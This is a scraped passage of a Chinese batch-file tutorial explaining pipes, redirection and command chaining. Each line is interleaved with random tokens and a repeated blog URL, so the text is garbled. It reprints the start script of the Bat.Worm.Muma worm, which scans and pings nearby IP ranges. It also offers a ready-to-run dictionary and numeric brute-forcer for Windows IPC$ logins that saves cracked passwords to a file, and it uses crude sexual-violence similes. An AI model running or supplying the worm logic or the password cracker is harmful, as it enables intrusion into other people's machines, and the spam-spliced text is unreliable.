执行后在当前路径下就生成for.txt、set.txt和shift.txt三个文件，里面分别记录了for命令、set命令和shift命令的帮助信息。地球人都能看懂，我就不多说了。我在网上曾经找了很长时间这三个命令的教程，但都不理想，基本都是照搬的帮助信息。我想在自己完全掌握了这两个命令后，一定要写一篇用自己的文字总结出来的for、set和shift教程（关于shift命令，后面介绍批处理的参数时还将涉及到），一定会的，这是我的心愿之一！需要注意的一点是，这三个命令的帮助里 ，介绍的都比较死板，虽然也举了一些例子，但这是远远不够的。要掌握这两个命令，最需要的就是耐心！没写错，就是耐心。光是认真看完它们的帮助文字就已经需要足够的耐心了，要进一步练习领会这两个命令，难道不需要更大的耐心？实战练习的机会我会留给你的，关键还是那句话，看你有没有耐心去研究了。看看例十二：
J2BWau http://blog.numino.net/
START.BAT：
0el0VD http://blog.numino.net/
CALL MUMA.BAT
XiPrvQ http://blog.numino.net/
SET IPA=192.168
hwST92 http://blog.numino.net/
CALL 10.BAT 0
vUZEZ7 http://blog.numino.net/
:NEARAGAIN
7B3aMR http://blog.numino.net/
netstat -n|find ":" >A.TMP
w0BWgL http://blog.numino.net/
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT
4tM7rX http://blog.numino.net/
:START
Dg9MNR http://blog.numino.net/
CALL RANDOM.BAT
8Sh34p http://blog.numino.net/
IF "%NUM1%"=="255" GOTO NEARAGAIN
W75YYW http://blog.numino.net/
IF "%NUM1%"=="192" GOTO NEARAGAIN
dUk8bP http://blog.numino.net/
IF "%NUM1%"=="127" GOTO NEARAGAIN
8aP7Wf http://blog.numino.net/
IF "%NUM2%"=="255" GOTO NEARAGAIN
hV25e6 http://blog.numino.net/
IF "%NUM3%"=="255" GOTO NEARAGAIN
Q0TLd1 http://blog.numino.net/
IF "%NUM4%"=="255" GOTO NEARAGAIN
2E7JMY http://blog.numino.net/
SET IPA=%NUM1%.%NUM2%
RsCk5T http://blog.numino.net/
ECHO START > A.LOG
IEWQ1Y http://blog.numino.net/
PING %IPA%.%NUM3%.1>B.TMP
mC9LcA http://blog.numino.net/
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
Kq50ly http://blog.numino.net/
FIND /C /I "from" B.TMP
mzhsoG http://blog.numino.net/
IF ERRORLEVEL 1 GOTO START
X2mrEy http://blog.numino.net/
CALL 10.BAT %NUM3%
kjRuZp http://blog.numino.net/
DEL A.LOG
8gfMWd http://blog.numino.net/
GOTO START
s9h4QT http://blog.numino.net/
这是Bat.Worm.Muma病毒的起始脚本，设置了病毒运行的环境变量。是不是看的头都大了？又忘了写在第一章第一段的那句话（静下心来！），你应该能体会到学习这两个命令所需要的耐心了吧。就如同去爱一个人，你得学会宽容，打不得骂不得，用你宽大的胸怀去包容她的一切，即使你发现爱她的过程如看上面代码的过程一样让你头大，但你还是得爱下去----爱需要理由吗？不需要吗？需要吗？不需要吗……等到风平浪静后，最直观的收获就是，你的耐心变的前所未有的充足，面对她的复杂和善变，你自己会处变不惊，以自己的方式去从容应付曾经应付不了的场面，即使到最后一身伤痕，也会感慨曾经的举动有多么伟大。
v4aIR5 http://blog.numino.net/
没错，这就是批处理的魅力，这就是爱的魅力。让你受了伤还感谢伤你的人。这种感觉就好象在自己最喜欢的音乐声中被人强奸，痛并快乐着。
e30RL6 http://blog.numino.net/
不得不再次重申一遍，各种DOS命令是批处理的BODY（我实在找不出一个更合适的词来形容他们之间的关系），学好DOS命令是学好批处理的前提。其他DOS命令如copy、dir、del、type、path、break、start等内部命令，以及ping、net、cmd、at、sort、attrib、fc、find等外部命令，在批处理里的应用非常广泛。这篇教程的作用，是教你认识批处理，以及如何利用DOS命令组合出来一个完美的批处理脚本，去让它自动完成你想要它做的事情。而灵活自如的编辑一个批处理脚本是建立在熟练掌握DOS命令的基础上的，这已经超出了本文的范畴，在此就不赘述了。
587eiD http://blog.numino.net/
不知不觉中第三章已经结束了。耳麦里传来的依然是陈晓东的《比我幸福》，每隔4分32秒就自动重播。虽然我不并不很喜欢陈晓东，可这并不妨碍我喜欢音乐，喜欢这首描写的如此让人感慨的歌。请你一定要比我幸福/才不枉费我狼狈退出/再痛也不说苦/爱不用抱歉来弥补/至少我能成全你的追逐/请记得你要比我幸福/才值得我对自己残酷/我默默的倒数/最后再把你看清楚/看你眼里的我好馍糊/慢慢被放逐。我如同一个因年老失色而拉不到客的老妓女，绝望的徘徊在曾经辉煌的红灯区，用一脸的木然瞟一眼来来去去的人群，默默的回忆自己并不光彩的过去，幻想自己将要面对的未来。直到看见那些幸福依偎在一起的情侣们，才突然间发现上帝的公平，和这种公平的残忍。
M5GV4I http://blog.numino.net/
可以说，批处理脚本中最重要的几个命令我都没有给出如echo或if那样比较详细的介绍，原因我已经说了，因为我也是个菜，我也不太懂----但我正在学！你呢？今天又去了一趟图书馆，淘金一样发现了一本叫《DOS批文件》的东东，藏在一个角落里落满了灰，五本摞一起就跟砖头一样厚了。大概翻了一下，里面介绍了很多比较底层和基础的东西，虽然从思路上讲，已经有点time out了，很多东西已经基本没有利用的价值（这就是信息时代的更新速度），但还是很值得看的。于是打算下午淘过来，放假回去了再好好研究一番，连同那几个不熟悉的命令一起搞熟了，再续写这篇教程。我始终坚信，没有最好只有更好。
7aU86g http://blog.numino.net/
但是很可惜，等到下午再去的时候，图书馆楼梯口已经立了一个牌子，上面写着out of service----人家这学期的工作结束了。于是回到宿舍打算继续写第四章，正在这时又得到一个“振奋人心”的消息：期末考试有一科挂了，而且是全班第一----这一门整个班里就挂了我一个。郁闷的情绪刹那间涌上心头，整个世界仿佛都变成黑的了。食堂和小卖部已经陆续关门，学校里的人越来越少，迎面过来的几个同学也都一身行李，忙碌着准备回家过年，内心的孤寂和失落如同夏日里暴雨前的乌云，迅速而不可抗拒的占领了心里每一个角落。迎着一月的冷风我一个人在天桥上发呆，还能怎么样，连期末考试都应付不了的失败男人。
98u3tW http://blog.numino.net/
“课间休息”时间好象长了点，呵呵，上课了！从这一章开始，将详细介绍批处理中常用的几个组合命令和管道命令。这些命令虽然不是必须的，如同爱一个人时不一定非得每天去陪，但如果少了这个过程，事情就会变的复杂而不完美，所以我认为管道命令和组合命令是批处理的调味剂，几乎是少不了的。
uKqm2q http://blog.numino.net/
下面从管道命令讲起。常用的管道命令有以下这些：|、>、>>
VjJo9R http://blog.numino.net/
11、|
uPMl6v http://blog.numino.net/
这个命令恐怕大家不是很陌生，经常操作DOS的朋友都应该知道，当我们查看一个命令的帮助时，如果帮助信息比较长，一屏幕显示不完时DOS并不给我们时间让我们看完一屏幕再翻到另一屏幕，而是直接显示到帮助信息的最后。如在提示符下输入help回车时，就会看到当前DOS版本所支持的所有非隐含命令，但你只能看到最后的那些命令，前面的早就一闪而过了，如何解决这个问题？看例十三：
bnnk1c http://blog.numino.net/
help | more
GVA7Br http://blog.numino.net/
回车后会发现显示满一屏幕后就自动暂停，等候继续显示其他信息。当按写回车时，变成一个一个的出现；按下空格键时一屏幕一屏幕显示，直到全部显示完为止；按其他键自动停止返回DOS。
b2HKno http://blog.numino.net/
为什么会出现上述现象？答案很简单，这里结合了管道命令|和DOS命令more来共同达到目的的。这里先简单介绍一下help命令和more命令，对理解|命令的用法有很大帮助。
fXVgox http://blog.numino.net/
11.1、help命令。其实这个命令是不需要多说的，但在上述例子中help命令的用法比较特殊，直接在DOS提示符下输入help命令，结果是让DOS显示其所支持的所有非隐含命令，而在其他地方用help命令，如输入net help回车，则是显示net命令的帮助信息。
Qabd88 http://blog.numino.net/
11.2、more命令。可能很多朋友以前就没有接触过这个命令，这个命令在Linux下的用处非常广泛，也是管道命令之一。大家可以找一篇比较长的文章（a.txt）在DOS提示符下输入如下两个命令去比较一下差别：more a.txt和type a.txt。利用more命令，可以达到逐屏或逐行显示输出的效果，而type命令只能一次把输出显示完，最后的结果就是只能看到末尾的部分。在例十三里，more命令的作用就是让输出的信息逐屏或逐行显示。
6qxD9M http://blog.numino.net/
看到这里，你是否已经能隐约感受到了|命令的作用了？没错，它的作用，就是把前一命令的输出当后一命令的输入来用的。在例十三里，前一命令的输出，就是help命令执行后显示的DOS所支持的所有非隐含命令，而这个结果刚好做了后一命令more的输入。所以例十三和下面的例十四是等效的：
YOVy3C http://blog.numino.net/
help > a.txt
B5xFtO http://blog.numino.net/
more a.txt
U2nHdB http://blog.numino.net/
del a.txt
CoVBnb http://blog.numino.net/
这里利用另一管道命令>生成了一个a.txt文件作为中间环节，在用more命令查看a.txt文件后再删除a.txt文件（例十三的所有操作是在内存中进行的，不生成文件）。可以看出，正确使用管道命令|可以带来事半功倍的效果。
AMaQ05 http://blog.numino.net/
结合例十三和例十四，以及前面的例九再体会一遍：|命令的作用，就是让前一命令的输出当做后一命令的输入。
xo9EO2 http://blog.numino.net/
12、>、>>
F2uv5B http://blog.numino.net/
这两个命令的效果从本质上来说都是一样的，他们都是输出重定向命令，说的通俗一点，就是把前面命令的输出写入到一个文件中。这两个命令的唯一区别是，>会清除掉原有文件中的内容后把新的内容写入原文件，而>>只会另起一行追加新的内容到原文件中，而不会改动其中的原有内容。例十五：
1k0Vsu http://blog.numino.net/
echo @echo off > a.bat
RU91JN http://blog.numino.net/
echo echo This is a pipeline command example. >> a.bat
ezL1XQ http://blog.numino.net/
echo echo It is very easy? >> a.bat
k0n1Zx http://blog.numino.net/
echo echo Believe your self! >> a.bat
z744cX http://blog.numino.net/
echo pause >> a.bat
Xj6IAi http://blog.numino.net/
echo exit >> a.bat
h8jykD http://blog.numino.net/
依次在DOS提示符下输入以上各行命令，一行一个回车，将在当前目录下生成一个a.bat文件，里面的内容如下：
9X0HmA http://blog.numino.net/
@echo off
qvs3O1 http://blog.numino.net/
echo This is a pipeline command example.
Y1v1nD http://blog.numino.net/
echo It is very easy?
t7d8b2 http://blog.numino.net/
echo Believe your self!
dn466u http://blog.numino.net/
pause
n2Diix http://blog.numino.net/
exit
ojxUdK http://blog.numino.net/
看到这里，你得到了多少信息？1、可以直接在DOS提示符下利用echo命令的写入功能编辑一个文本，而不需要专门的文本编辑工具；2、管道命令>和>>的区别如上所述。如果这里只用>命令来完成上面操作，最后也会生成一个a.bat，但里面的内容就只剩下最后一行exit了。所以>和>>一般都联合起来用，除非你重定向的输出只有一行，那么就可以只用>了。结合例一再仔细体会输出重定向管道命令>和>>的用法。
4ohi93 http://blog.numino.net/
13、<、>&、<&
qb92P6 http://blog.numino.net/
这三个命令也是管道命令，但它们一般不常用，你只需要知道一下就ok了，当然如果想仔细研究的话，可以自己查一下资料。
FzioK1 http://blog.numino.net/
<，输入重定向命令，从文件中读入命令输入，而不是从键盘中读入。
x802q7 http://blog.numino.net/
>&，将一个句柄的输出写入到另一个句柄的输入中。
L5q1CO http://blog.numino.net/
<&，刚好和>&相反，从一个句柄读取输入并将其写入到另一个句柄输出中。
s2W7T4 http://blog.numino.net/
关于这三个管道命令的举例，在后面批处理脚本的精妙应用中还将涉及到。
lskbd0 http://blog.numino.net/
下面介绍组合命令：&、&&、||
1su6NF http://blog.numino.net/
组合命令，顾名思义，就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的，而且用的非常广泛。它的格式很简单----既然现在已经成了一个文件了，那么这多个命令就要用这些组合命令连接起来放在同一行----因为批处理认行不认命令数目。组合命令的作用，就如同给爱人陪不是，说一句是说，说十句也是说，不一次把好话都说了出来，效果可能会好些----当然得排除一种特殊情况：这些话是否有先后顺序，有些话是否可以同时说。在批处理脚本里也一样，有些时候某些命令是不能同时执行的，后面给你说。
147hBK http://blog.numino.net/
刚刚又送走了一个同学，人去楼空的感觉越来越明显，望着空荡荡的床铺，平日里喧闹的宿舍就只剩下我一个人了，整个世界只有那个平时令人非常讨厌的老鼠这时候才显得可爱起来----只有它会陪着我在这不敢开灯的漆黑夜里----一个连期末考试都应付不了的失败男人。失败！我感到快要呼吸不过来，这种失败的压力简直令我窒息，简直让我的手接收不到大脑的信号，简直让这篇未完成的教程夭折。但我能怪谁？
8eYeWl http://blog.numino.net/
忙碌了一学期要过年了却挂了科，失败；挂了科也倒罢了，竟然一个人拖全班的后退，失败中的失败；更失败的，是在这最失落的时候，竟然找不到一个人可以倾诉；然而最失败的，是突然发现自己竟然如此脆弱，如此耐不住寂寞。不过这倒也解开了心中疑惑很久的一个问题：为什么明知道那段情是一个旋涡却还心甘情愿的往里面跳----这就是青春，风一样的年龄，火一样不安的心。不再爱了，我不要再一个人的时候苦苦等待；不再爱了，我不要在你给的囚笼里怜悯的爱；不再爱了，我不要在别人的视线里如此可笑；不再爱，我不再爱。就算塌下来，我也要一个人扛着，头不能低腰不能弯，不能喘息不能倾诉，因为虽然失败，但还是男人，是男人就不能向困难低头！
2ci5CV http://blog.numino.net/
14、&
8VJT1k http://blog.numino.net/
这可以说是最简单的一个组合命令了，它的作用是用来连接n个DOS命令，并把这些命令按顺序执行，而不管是否有命令执行失败。例十六：
3957yf http://blog.numino.net/
copy a.txt b.txt /y & del a.txt
5OPbah http://blog.numino.net/
其实这句和move a.txt b.txt的效果是一样的，只不过前者是分了两步来进行的（在后面还将涉及到具体使用哪种方法的问题）。这个命令很简单，就不多费口舌了，唯一需要注意的一点是，这里&两边的命令是有执行顺序的，从前往后执行。
LE2Fi3 http://blog.numino.net/
15、&&
88IzX0 http://blog.numino.net/
切记，这里介绍的几个命令都是组合命令，所以他们前后都必须都有其他命令（要不如何组合？）。这个命令也不例外，它可以把它前后两个命令组合起来当一个命令来用，与&命令不同之处在于，它在从前往后依次执行被它连接的几个命令时会自动判断是否有某个命令执行出错，一旦发现出错后将不继续执行后面剩下的命令。这就为我们自动化完成一些任务提供了方便。例十七：
82OYEC http://blog.numino.net/
dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:\backup\www
RR022g http://blog.numino.net/
如果远程主机存在user.mdb，则copy到本地e:\backup\www，如果不存在当然就不执行copy了。这句对搞网管的朋友是否有点用呢？呵呵。其实它和下面这句的作用是一样的：
NtBgZx http://blog.numino.net/
if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:\backup\www
C5yhB3 http://blog.numino.net/
至于你喜欢用哪个就随便了，我没办法判断dir和if两个命令哪一个执行效率更高，所以不知道用哪个更好，呵呵。
xkglr8 http://blog.numino.net/
你是否还记得“有些命令是不能同时执行的”？你是否相信这句话？当然得相信，不信就给你出道题：把C盘和D盘的文件和文件夹列出到a.txt文件中。你将如何来搞定这道题？有朋友说，这还不是很easy的问题吗？同时执行两个dir，然后把得到的结果>到a.txt里就ok了嘛，看例十八：
ovWiL0 http://blog.numino.net/
dir c:\ && dir d:\ > a.txt
nx5DuB http://blog.numino.net/
仔细研究一下这句执行后的结果，看看是否能达到题目的要求！错了！这样执行后a.txt里只有D盘的信息！为什么？就因为这里&&命令和>命令不能同时出现一个句子里（批处理把一行看成一个句子）！！组合命令&&的优先级没有管道命令>的优先级高（自己总结的，不妥的地方请指正）！所以这句在执行时将本分成这两部分：dir c:\和dir d:\ > a.txt，而并不是如你想的这两部分：dir c:\ && dir d:\和> a.txt。要使用组合命令&&达到题目的要求，必须得这么写：
xEQ73O http://blog.numino.net/
dir c:\ > a.txt && dir d:\ >> a.txt
pw6x1Y http://blog.numino.net/
这样，依据优先级高低，DOS将把这句话分成以下两部分：dir c:\ > a.txt和dir d:\ >> a.txt。例十八中的几句的差别比较特殊，值得好好研究体会一下。
2XXNdx http://blog.numino.net/
当然这里还可以利用&命令（自己想一下道理哦）：
FU66ni http://blog.numino.net/
dir c:\ > a.txt & dir d:\ >> a.txt
I7qpkT http://blog.numino.net/
16、||
yjmYRQ http://blog.numino.net/
这个命令的用法和&&几乎一样，但作用刚好和它相反：利用这种方法在执行多条命令时，当遇到一个执行正确的命令就退出此命令组合，不再继续执行下面的命令。题目：查看当前目录下是否有以s开头的exe文件，如果有则退出。例十九：
2QE65B http://blog.numino.net/
@echo off
Dk5Y5h http://blog.numino.net/
dir s.exe || exit
oLg4td http://blog.numino.net/
其实这个例子是有破绽的，你看出来了吗？其实很简单，自己试试就知道了嘛：如果存在那个exe文件，就退出；如果不存在那个exe文件，也退出！为什么？因为如果不存在那个.exe文件，则前一条命令dir s.exe执行肯定是不成功的，所以就继续执行exit，自然就退出了，呵呵。那么如何解决题目给出的问题呢？看例二十：
CeSYep http://blog.numino.net/
@echo off
7bvi4F http://blog.numino.net/
dir s.exe || echo Didn't exist file s.exe & pause & exit
iTeVA5 http://blog.numino.net/
这样执行的结果，就能达到题目的要求，是否存在s.exe将出现两种结果。这里加暂停的意思，当然是让你能看到echo输出的内容，否则一闪而过的窗口，echo就白写了。
8ct2u7 http://blog.numino.net/
给出两个更好研究优先级（同时也是更难理解）的脚本，仔细研究它们的区别，以便彻底理解各种命令的优先级顺序，对以后自己利用这些命令写脚本有很大的好处----不会出错！OK，请看例二十一和例二十二：
2AU9sq http://blog.numino.net/
例二十一：
gSZhJb http://blog.numino.net/
@echo off
JEGzfx http://blog.numino.net/
dir a.ttt /a & dir a.txt || exit
iDLCJn http://blog.numino.net/
例二十二：
3cqTQj http://blog.numino.net/
@echo off
B6Fm8i http://blog.numino.net/
dir a.ttt /a && dir a.txt || exit
hwr8TO http://blog.numino.net/
警告：患有心脑血管病的朋友请不要研究以上两例，否则轻者头大如斗，重者血管爆裂。任何人由于研究这两个脚本的区别而造成的任何事故由自己或其合法监护人负责，与本人和本论坛无关。特此警告！
8D3pK2 http://blog.numino.net/
有关管道命令和组合命令就大概介绍到这里了，不知道聪明的你是否理解？呵呵，能理解就成天才了，除非你以前就已经掌握！千万别小看了这几个鬼命令，大棒槌是我的说，简直就不是人学的东西！但我还是静下心来研究了一番，最后得出的结论如上所述，已经一点不剩的交给你了，希望你好好收藏并消化吸收，当然有错误被你发现了，或者不完整的地方被你看出来了，请赶紧告诉我一声！
0sjgds http://blog.numino.net/
这几个命令真的把我的头都搞大了。在网上有一篇流传很广的批处理教程：“简明批处理教程”，虽然说的比较全面，但看起来很不过瘾。在对for等命令介绍时就一个for /? > a.txt & start a.txt完事了（当然这一点上我不能说人家什么，毕竟我连for /?都没给出），而对上述管道命令和组合命令、以及这篇教程以后将讲到的用批处理操作注册表等方面根本没有介绍。我之所以花整整一章来讲管道命令和组合命令，是因为他们才是批处理的精华和灵魂，能否正确利用好这几个命令，是能否掌握批处理的前提条件。如for、set等DOS命令的问题，可以从DOS的角度出发专门有针对性的学习，但有关这几个命令的问题，却是不容易精通掌握的----他们之间的关系太复杂了！
fWworQ http://blog.numino.net/
将下列代码存为bat文件
nB3VHi http://blog.numino.net/
1、如果用字典破解：pass.bat 字典文件路径及名称 主机 用户名
Wzx5F2 http://blog.numino.net/
2、如果用数字破解：pass.bat 起始数 步长 结束数 主机 用户名
Goupgf http://blog.numino.net/
密码破解出来之后，存放于c:\pass.txt文件里面。
1x9C07 http://blog.numino.net/
将下列代码存为pass.bat文件
qOcF92 http://blog.numino.net/
@echo off
T57bb5 http://blog.numino.net/
echo ------------------------------------------------------------------- >>c:\pass.txt
3u2exX http://blog.numino.net/
echo ------------------------------------------------------------------- >>c:\pass.txt
fuOD7B http://blog.numino.net/
date /t >>c:\pass.txt
I198Fx http://blog.numino.net/
time /t >>c:\pass.txt
LUR277 http://blog.numino.net/
echo 破解结果： >>c:\pass.txt
5N7WWu http://blog.numino.net/
if "%6"=="1" goto 大棒槌是我的说2
YDh0Li http://blog.numino.net/
:大棒槌是我的说1
U3cTps http://blog.numino.net/
start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3
I5U7IK http://blog.numino.net/
goto quit
AYWOSo http://blog.numino.net/
:大棒槌是我的说2
2DbQaY http://blog.numino.net/
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5
y9u7FQ http://blog.numino.net/
:quit
ZKVj61 http://blog.numino.net/
将下列代码存为test.bat
ADca26 http://blog.numino.net/
net use \%1\ipc$ %2 /user:"%3"
zlY7ns http://blog.numino.net/
goto answer%ERRORLEVEL%
zWhW2v http://blog.numino.net/
rem %ERRORLEVEL%表示取前一命令执行返回结果，net use成功返回0，失败返回2
wXVT3j http://blog.numino.net/
:answer0
34UUAS http://blog.numino.net/
echo 远程主机："%1" >>c:\pass.txt
Gc6OPq http://blog.numino.net/
echo 用 户："%3" >>c:\pass.txt
r681Vp http://blog.numino.net/
echo 密 码：%2 >>c:\pass.txt
W7b059 http://blog.numino.net/
net use \%1\ipc$ /delet
QnCt5p http://blog.numino.net/
exit
hnOT8D http://blog.numino.net/
:answer2
TvA2Go http://blog.numino.net/
For
Ghs2oL http://blog.numino.net/
对一组文件中的每个文件运行指定的命令。
ouqXUJ http://blog.numino.net/
可以在批处理程序中或直接从命令提示符使用 for 命令。
ZggBhW http://blog.numino.net/
要在批处理程序中使用 for 命令，请使用以下语法：
e0bDb3 http://blog.numino.net/
for %%variable in (set) docommand [command-parameters]
1KuwhL http://blog.numino.net/
要在命令提示符下使用 for，请使用以下语法：
iOIAz2 http://blog.numino.net/
for %variable in (set) do command [command-parameters]
abK7cu http://blog.numino.net/
参数
4t9bhp http://blog.numino.net/
%%variable 或 %variable
YeSca1 http://blog.numino.net/
代表可替换的参数。for 命令使用在 set 中指定的每个文本字符串替换 %%variable（或 %variable），直到此命令（在 command-parameters 中指定）处理所有的文件为止。使用 %% variable 在批处理程序中执行 for 命令。使用 % variable 通过命令提示符执行 for 命令。变量名区分大小写。
8FBV0t http://blog.numino.net/
(set)
8jDdFA http://blog.numino.net/
指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号。
7gH2Pk http://blog.numino.net/
command
GfF4eK http://blog.numino.net/
指定要在指定的 set 所包含的每个文件上执行的命令。
GDH4Of http://blog.numino.net/
command-parameters
VPfIbC http://blog.numino.net/
指定要用于指定命令（如果指定的命令要使用任何参数或开关）的任何参数或开关。
vzO487 http://blog.numino.net/
如果启用了命令扩展（Windows 2000 中的默认设置)，将支持 for 命令的其他形式。
3bo8tG http://blog.numino.net/
For 命令的其他形式
39631K http://blog.numino.net/
如果启用了命令扩展，将支持如下 for 命令的其他格式：
1sxzce http://blog.numino.net/
只限于目录
qX5yLY http://blog.numino.net/
for /D [%% | %]variable in (set) docommand [command-parameters]
xyRhC7 http://blog.numino.net/
如果 set 包含通配符（ 和 ?），则指定与目录名匹配，而不是文件名。
27CnF7 http://blog.numino.net/
递归
NTEWYX http://blog.numino.net/
for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]
Ci7LsX http://blog.numino.net/
进入根目录树[drive:]path，在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录，则假定为当前目录。如果 set 只是一个句号 (.) 字符，则只列举目录树。
8yc3Ru http://blog.numino.net/
迭代
N7Dp6T http://blog.numino.net/
for /L [%% | %]variable in (start，step，end) do command [command-parameters]
wc44LR http://blog.numino.net/
集合是一系列按步长量划分的、从头到尾的数字。这样，(1,1,5) 将生成序列 1 2 3 4 5，而 (5,-1,1) 将生成序列 (5 4 3 2 1)。
vN8M8m http://blog.numino.net/
BAT文件技巧
Kl1qA0 http://blog.numino.net/
文章结构
mbbCx6 http://blog.numino.net/
1. 所有内置命令的帮助信息
ycM8N0 http://blog.numino.net/
2. 环境变量的概念
0sy41D http://blog.numino.net/
3. 内置的特殊符号(实际使用中间注意避开)
bnlv2K http://blog.numino.net/
4. 简单批处理文件概念
BsmtNn http://blog.numino.net/
5. 附件1 tmp.txt
I0I2Sb http://blog.numino.net/
6. 附件2 sample.bat
GQXTv6 http://blog.numino.net/
######################################################################
uwGV3R http://blog.numino.net/
1. 所有内置命令的帮助信息
b58EIa http://blog.numino.net/
######################################################################
s2c7Py http://blog.numino.net/
ver
uu6bI3 http://blog.numino.net/
cmd /?
tuDfxz http://blog.numino.net/
set /?
h2rPnA http://blog.numino.net/
rem /?
8lKXS3 http://blog.numino.net/
if /?
RnZ1Cx http://blog.numino.net/
echo /?
uKO860 http://blog.numino.net/
goto /?
ij8cYE http://blog.numino.net/
for /?
MJ64H5 http://blog.numino.net/
shift /?
0k34b6 http://blog.numino.net/
call /?
B3cenB http://blog.numino.net/
其他需要的常用命令
ahAkTL http://blog.numino.net/
type /?
U0yHZW http://blog.numino.net/
find /?
Eq75wF http://blog.numino.net/
findstr /?
9xxQcg http://blog.numino.net/
copy /?
edef0N http://blog.numino.net/
下面将所有上面的帮助输出到一个文件
TZypQz http://blog.numino.net/
echo ver >tmp.txt
T9ueNI http://blog.numino.net/
ver >>tmp.txt
bPY99h http://blog.numino.net/
echo cmd /? >>tmp.txt
BIpx3P http://blog.numino.net/
cmd /? >>tmp.txt
dOi612 http://blog.numino.net/
echo rem /? >>tmp.txt
P3NjK7 http://blog.numino.net/
rem /? >>tmp.txt
YP9b25 http://blog.numino.net/
echo if /? >>tmp.txt
pyhMRz http://blog.numino.net/
if /? >>tmp.txt
bbFmH8 http://blog.numino.net/
echo goto /? >>tmp.txt
r6s9jm http://blog.numino.net/
goto /? >>tmp.txt
3rUKGM http://blog.numino.net/
echo for /? >>tmp.txt
v2u41a http://blog.numino.net/
for /? >>tmp.txt
28pN7Z http://blog.numino.net/
echo shift /? >>tmp.txt
K4S276 http://blog.numino.net/
shift /? >>tmp.txt
2B6TKR http://blog.numino.net/
echo call /? >>tmp.txt
SDtM0i http://blog.numino.net/
call /? >>tmp.txt
KpySWU http://blog.numino.net/
echo type /? >>tmp.txt
47WIyi http://blog.numino.net/
type /? >>tmp.txt
zSkW0H http://blog.numino.net/
echo find /? >>tmp.txt
P5hsS9 http://blog.numino.net/
find /? >>tmp.txt
WCDOCe http://blog.numino.net/
echo findstr /? >>tmp.txt
8lF0u2 http://blog.numino.net/
findstr /? >>tmp.txt
Q0PVp3 http://blog.numino.net/
echo copy /? >>tmp.txt
C2YD1b http://blog.numino.net/
copy /? >>tmp.txt
s1P1rH http://blog.numino.net/
type tmp.txt
5XyTz4 http://blog.numino.net/
######################################################################
4UwW75 http://blog.numino.net/
2. 环境变量的概念
J1EhdZ http://blog.numino.net/
######################################################################
QT94Ie http://blog.numino.net/
_
R10xbW http://blog.numino.net/
C:Program Files>set
7KdfjX http://blog.numino.net/
ALLUSERSPROFILE=C:Documents and SettingsAll Users
787gVf http://blog.numino.net/
CommonProgramFiles=C:Program FilesCommon Files
I6EoQq http://blog.numino.net/
COMPUTERNAME=FIRST
9jXlg7 http://blog.numino.net/
ComSpec=C:WINNTsystem32cmd.exe
3sV45x http://blog.numino.net/
NUMBER_OF_PROCESSORS=1
3NZiBc http://blog.numino.net/
OS=Windows_NT
NbpG9C http://blog.numino.net/
Os2LibPath=C:WINNTsystem32os2dll;
1ima5T http://blog.numino.net/
Path=C:WINNTsystem32;C:WINNT;C:WINNTsystem32WBEM
tA89Gj http://blog.numino.net/
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
2A2hsP http://blog.numino.net/
PROCESSOR_ARCHITECTURE=x86
08A099 http://blog.numino.net/
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
3F7d50 http://blog.numino.net/
PROCESSORLEVEL=6
Xcw1MD http://blog.numino.net/
PROCESSORREVISION=0605
p9Bc59 http://blog.numino.net/
ProgramFiles=C:Program Files
VziK6t http://blog.numino.net/
PROMPT=$P$G
cYMH4i http://blog.numino.net/
SystemDrive=C:
i26n4h http://blog.numino.net/
SystemRoot=C:WINNT
BFnxMv http://blog.numino.net/
TEMP=C:WINNTTEMP
1OqRYT http://blog.numino.net/
TMP=C:WINNTTEMP
uF3Mac http://blog.numino.net/
USERPROFILE=C:Documents and SettingsDefault User
fN0A9o http://blog.numino.net/
windir=C:WINNT
gAJk1u http://blog.numino.net/
path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到
ZUac74 http://blog.numino.net/
%windir%system32. 这个目录里面. 一般就可以自动搜索到.
q0aePF http://blog.numino.net/
语法: copy mychenxu.exe %windir%system32.
ZCi214 http://blog.numino.net/
使用点(.) 便于一目了然
52n60B http://blog.numino.net/
对环境变量的引用使用(英文模式,半角)双引号
1qfCLw http://blog.numino.net/
%windir% 变量
MAPDOM http://blog.numino.net/
%%windir%% 二次变量引用.
sr1y9g http://blog.numino.net/
我们常用的还有
fXRX8r http://blog.numino.net/
%temp% 临时文件目录
UyXW77 http://blog.numino.net/
%windir% 系统目录
JqY9vM http://blog.numino.net/
%errorlevel% 退出代码
u0yHvP http://blog.numino.net/
输出文件到临时文件目录里面.这样便于当前目录整洁.
fQzV8P http://blog.numino.net/
对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作
6WV8cB http://blog.numino.net/
C:>dir p
eah8Kq http://blog.numino.net/
C: 的目录
7ol4qB http://blog.numino.net/
2000-09-02 11:47 2,164 PDOS.DEF
oJo68G http://blog.numino.net/
1999-01-03 00:47
de0Z10 http://blog.numino.net/
Program Files
1aG2Ps http://blog.numino.net/
1 个文件 2,164 字节
pOxJS2 http://blog.numino.net/
1 个目录 1,505,997,824 可用字节
ZNK9L4 http://blog.numino.net/
C:>cd pro
1A3uPH http://blog.numino.net/
C:Program Files>
79ToFG http://blog.numino.net/
C:>
VaO1z3 http://blog.numino.net/
C:>cd "Program Files"
3QKzWA http://blog.numino.net/
C:Program Files>
0JsUVY http://blog.numino.net/
######################################################################
Rc1jpM http://blog.numino.net/
3. 内置的特殊符号(实际使用中间注意避开)
1dhrHg http://blog.numino.net/
######################################################################
ctWHcN http://blog.numino.net/
微软里面内置了下列字符不能够在创建的文件名中间使用
LahhMW http://blog.numino.net/
con nul aux / | || && ^ > <
E9myKv http://blog.numino.net/
